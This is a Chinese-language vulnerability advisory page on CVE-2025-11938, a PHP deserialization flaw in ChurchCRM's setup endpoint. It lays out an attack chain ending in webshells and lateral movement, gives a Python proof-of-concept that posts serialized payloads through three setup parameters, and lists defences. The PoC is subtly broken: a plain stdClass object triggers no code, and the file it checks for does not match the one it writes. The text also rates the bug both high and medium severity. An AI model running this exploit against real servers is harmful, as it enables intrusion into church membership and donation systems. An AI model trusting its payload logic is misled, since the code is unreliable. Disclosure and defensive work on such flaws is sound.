IPBUF安全漏洞报告
English
CVE-2025-11938 CVSS 5.6 中危

CVE-2025-11938:ChurchCRM反序列化漏洞导致远程代码执行

披露日期: 2025-10-19

漏洞信息

漏洞编号
CVE-2025-11938
漏洞类型
PHP反序列化漏洞(对象注入)
CVSS评分
5.6 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

PHP反序列化对象注入远程代码执行RCEChurchCRMCVE-2025-11938中危漏洞未认证漏洞setup.php开源CMS

漏洞概述

CVE-2025-11938是ChurchCRM教堂管理系统中的一个高危反序列化漏洞,影响版本至5.18.0。该漏洞存在于setup/routes/setup.php文件中,攻击者可以通过远程方式操纵DB_PASSWORD、ROOT_PATH和URL等参数,触发PHP不安全反序列化操作,从而实现远程代码执行(RCE)。该漏洞的CVSS 3.1评分为5.6分,攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),攻击复杂度较高(AC:H)。尽管漏洞利用复杂度较高,但由于漏洞利用代码已公开披露,且ChurchCRM作为开源教堂管理解决方案广泛应用于各类宗教组织,其潜在威胁不容忽视。ChurchCRM供应商在漏洞披露前已被通知,但未做出任何响应,这进一步增加了用户面临的风险。该漏洞可能导致攻击者获取服务器敏感信息、篡改数据库内容以及破坏系统可用性,对使用ChurchCRM管理成员信息、捐款记录和活动安排的宗教机构构成严重安全威胁。

技术细节

该漏洞的核心问题在于ChurchCRM的setup/routes/setup.php文件中对用户可控参数的处理不当。具体而言,当系统执行初始化设置流程时,DB_PASSWORD、ROOT_PATH和URL三个参数被传递给PHP的unserialize()函数或类似的反序列化机制,而未进行充分的过滤和验证。

PHP反序列化漏洞的原理是:当应用程序将用户输入的数据进行反序列化处理时,攻击者可以构造恶意的序列化字符串,其中包含预定义的魔术方法(如__wakeup()、__destruct()、__toString()等)。当这些对象被反序列化时,魔术方法会自动执行,从而触发攻击者预设的恶意代码执行链(gadget chain)。

在ChurchCRM的setup.php中,攻击者通过HTTP请求向设置接口提交精心构造的DB_PASSWORD、ROOT_PATH或URL参数值,这些参数中嵌入了恶意的PHP序列化payload。服务器端在处理这些参数时直接进行反序列化操作,导致魔术方法被触发,最终实现远程代码执行。

攻击者可以利用此漏洞执行任意PHP代码,包括但不限于:读取服务器敏感文件、获取数据库凭证、执行系统命令、植入Webshell等。由于该漏洞存在于安装/设置阶段,即使已完成初始配置的系统,在某些条件下(如重新运行设置流程)仍可能受到影响。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、Censys等搜索引擎或直接访问目标网站,识别运行ChurchCRM(版本≤5.18.0)的目标系统,确认setup/routes/setup.php端点可访问。
STEP 2
步骤2:构造恶意Payload
攻击者构造包含恶意PHP序列化对象的payload,利用PHP反序列化gadget chain(如通过Composer依赖中的已知类),将系统命令执行代码嵌入到序列化字符串中。
STEP 3
步骤3:发送恶意请求
攻击者通过HTTP POST请求向setup/routes/setup.php端点发送包含恶意payload的数据,将payload注入到DB_PASSWORD、ROOT_PATH或URL参数中。
STEP 4
步骤4:触发反序列化
服务器端接收请求后,对用户可控参数执行PHP反序列化操作(unserialize),恶意对象被实例化,其魔术方法(如__destruct或__wakeup)被自动调用。
STEP 5
步骤5:远程代码执行
魔术方法中的恶意代码被执行,攻击者获得在服务器上执行任意命令的能力,可读取敏感文件、获取数据库凭证或植入后门。
STEP 6
步骤6:持久化与横向移动
攻击者在服务器上植入Webshell或创建后门账户,实现持久化访问,并尝试利用获取的凭证进行内网横向移动,访问数据库和其他敏感资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11938 - ChurchCRM PHP Deserialization PoC # Vulnerability: Unserialize of user-controlled parameters in setup/routes/setup.php # Affected parameters: DB_PASSWORD, ROOT_PATH, URL import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-churchcrm.example.com" # PHP serialized gadget chain payload (example using a common PHP gadget) # This payload triggers __destruct() magic method to execute system command MALICIOUS_PAYLOAD = 'O:8:"stdClass":1:{s:7:"command";s:27:"system(\'id > /tmp/pwned\')";}' def exploit(): """ Exploit CVE-2025-11938 by sending malicious serialized data through the vulnerable setup.php parameters. """ endpoint = f"{TARGET_URL}/setup/routes/setup.php" # Method 1: Inject via DB_PASSWORD parameter params_db = { "DB_PASSWORD": MALICIOUS_PAYLOAD, "ROOT_PATH": "/var/www/html/churchcrm", "URL": TARGET_URL, "action": "test" } print(f"[*] Targeting: {endpoint}") print(f"[*] Sending malicious payload via DB_PASSWORD parameter...") try: response = requests.post(endpoint, data=params_db, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}") # Verify exploitation verify = requests.get(f"{TARGET_URL}/tmp/pwned.txt", timeout=5) if verify.status_code == 200: print(f"[+] Exploitation successful! Output: {verify.text}") else: print("[-] Could not verify exploitation via /tmp/pwned") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 2: Inject via ROOT_PATH parameter params_root = { "DB_PASSWORD": "password123", "ROOT_PATH": MALICIOUS_PAYLOAD, "URL": TARGET_URL, "action": "test" } print(f"\n[*] Sending malicious payload via ROOT_PATH parameter...") try: response = requests.post(endpoint, data=params_root, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 3: Inject via URL parameter params_url = { "DB_PASSWORD": "password123", "ROOT_PATH": "/var/www/html/churchcrm", "URL": MALICIOUS_PAYLOAD, "action": "test" } print(f"\n[*] Sending malicious payload via URL parameter...") try: response = requests.post(endpoint, data=params_url, timeout=10) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit()

影响范围

ChurchCRM ≤ 5.18.0

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx的location指令或Apache的.htaccess)限制对setup/routes/setup.php端点的外部访问,仅允许内部管理IP访问;2)完成系统安装后,立即删除或重命名setup目录及其所有文件;3)在Web应用防火墙中添加规则,拦截包含O:(PHP对象序列化标识符)等特征的可疑请求;4)部署入侵检测系统(IDS)监控对ChurchCRM设置接口的异常访问;5)定期检查服务器文件系统,排查是否存在可疑的Webshell或未授权修改;6)限制PHP进程的执行权限,使用open_basedir限制文件系统访问范围,禁用危险函数如system、exec、passthru等。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表